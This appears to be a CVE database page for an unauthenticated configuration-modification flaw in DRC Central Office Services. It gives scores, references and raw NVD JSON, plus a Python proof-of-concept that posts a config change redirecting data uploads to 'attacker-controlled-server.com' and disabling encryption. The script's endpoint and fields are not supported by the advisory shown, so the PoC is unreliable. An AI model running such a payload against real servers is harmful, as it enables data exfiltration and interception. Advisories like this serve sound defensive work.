CVE-2026-5756

Description

Unauthenticated Configuration File Modification Vulnerability in DRC Central Office Services (COS) allows an attacker to modify the server's configuration file, potentially leading to mass data exfiltration, malicious traffic interception, or disruption of testing services.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

DRC Central Office Services (COS) (具体受影响版本暂未在公开信息中明确列出，建议所有用户检查)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target vulnerable DRC COS endpoint
# Replace with actual target IP/Domain
target_url = "http://target-drc-cos-server/api/config/update"

# Malicious payload to modify configuration
# Example: Changing the data upload server to an attacker-controlled endpoint
malicious_config = {
    "upload_server": "http://attacker-controlled-server.com/collect",
    "enable_encryption": "false",
    "debug_mode": "true"
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "CVE-2026-5756-Scanner/1.0"
}

try:
    # Send unauthenticated request to exploit the vulnerability
    response = requests.post(target_url, json=malicious_config, headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Success: Configuration file modified successfully.")
        print("[+] Server response:", response.text)
    else:
        print(f"[-] Failed: Server returned status code {response.status_code}")

except requests.exceptions.RequestException as e:
    print(f"[-] Error connecting to target: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5756
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5756
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5756/
[4] VulDB https://vuldb.com/cve/CVE-2026-5756
[5] https://www.datarecognitioncorp.com/
[6] https://www.kb.cert.org/vuls/id/748485

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5756", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:39.600", "lastModified": "2026-04-23T14:16:04.840", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthenticated Configuration File Modification Vulnerability in DRC Central Office Services (COS) allows an attacker to modify the server's configuration file, potentially leading to mass data exfiltration, malicious traffic interception, or disruption of testing services."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://www.datarecognitioncorp.com/", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/748485", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}